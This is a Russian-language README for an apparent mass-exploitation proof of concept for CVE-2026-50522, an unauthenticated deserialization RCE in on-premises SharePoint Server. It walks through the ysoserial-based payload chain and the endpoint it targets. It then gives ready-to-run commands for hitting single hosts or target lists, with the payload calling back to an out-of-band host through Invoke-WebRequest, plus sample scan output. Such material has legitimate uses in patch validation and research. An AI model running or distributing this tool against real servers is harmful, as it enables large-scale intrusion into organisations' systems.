CVE-2026-50522 PoC: SharePoint Deserialization RCE

Неаутентифицированное удалённое выполнение кода на SharePoint Server через десериализацию cookie SecurityContextToken

Массовый эксплойт для CVE-2026-50522, нацеленный на локальные (on-premises) установки Microsoft SharePoint Server. Использует небезопасную десериализацию BinaryFormatter в конечной точке WS-Federation /_trust/default.aspx для достижения неаутентифицированного выполнения кода через специально сформированные cookie SecurityContextToken.

Примечание: Этот проект включает ysoserial — известный инструмент для пентеста, поэтому ваш антивирус может пометить или поместить его в карантин при загрузке.

Информация об уязвимости

• CVE: CVE-2026-50522
• Тип: CWE-502 — Десериализация недоверенных данных
• CVSS 3.1: 9.8 (Критический)
• Аутентификация: Не требуется
• Затронутые версии:
  • Microsoft SharePoint Server Subscription Edition (до 16.0.19725.20434)
  • Microsoft SharePoint Server 2019 (до 16.0.10417.20175)
  • Microsoft SharePoint Enterprise Server 2016 (до 16.0.5561.1001)

Как это работает

1. ysoserial.exe генерирует сериализованную нагрузку BinaryFormatter с использованием гаджета TypeConfuseDelegate
2. Нагрузка выполняет Invoke-WebRequest на внеполосный (out-of-band) callback URL
3. Сырые байты сжимаются (zlib) и кодируются в Base64 для значения cookie
4. Cookie помещается внутрь XML-структуры SecurityContextToken
5. Токен встраивается в RequestSecurityTokenResponse (WS-Federation)
6. Параметр wresult отправляется методом POST на /_trust/default.aspx
7. SharePoint десериализует токен, что приводит к выполнению кода в рабочем процессе IIS

Требования

• Python 3.10+ с библиотекой requests
• ysoserial.net (скачать)
• OOB callback-сервер (Burp Collaborator, interactsh, OAST)

Использование

Одиночная цель

python CVE-2026-50522.py -t http://10.10.10.5 -c http://YOUR_ID.oastify.com

Массовое сканирование

python CVE-2026-50522.py -T targets.txt -c http://YOUR_ID.oastify.com

Свой путь к ysoserial

python CVE-2026-50522.py -T targets.txt -c http://YOUR_ID.oastify.com --ysoserial C:\tools\ysoserial.exe

С прокси

python CVE-2026-50522.py -T targets.txt -c http://YOUR_ID.oastify.com -x http://127.0.0.1:8080

Режим callback через поддомен

python CVE-2026-50522.py -T targets.txt -c http://YOUR_ID.oastify.com --callback-mode subdomain

Параметры

Режимы callback

Режим path (по умолчанию):

http://YOUR_ID.oastify.com/10.10.10.5

Режим subdomain:

http://10.10.10.5.YOUR_ID.oastify.com

Пример вывода

[*] 50 target(s) | callback: http://abc123.oastify.com (path) | ysoserial: ysoserial.exe
[10.10.10.5] [+] 200 [LOGIN_PAGE,AUTH_COOKIE]
[10.10.10.6] [!] 200 [AMSI_BLOCKED]
[10.10.10.7] [!] TIMEOUT
[10.10.10.8] [!] SSL_ERR
[10.10.10.9] [!] 403 [HTTP_403]

[*] 45.2s | 50 total | 12 potential | 3 amsi | 5 failed

Ссылки

• Microsoft — CVE-2026-50522
• SOCRadar — CVE-2026-50522 PoC Fuels SharePoint Attacks
• thehackernews — Critical SharePoint RCE CVE-2026-50522 Under Active Exploitation After Public PoC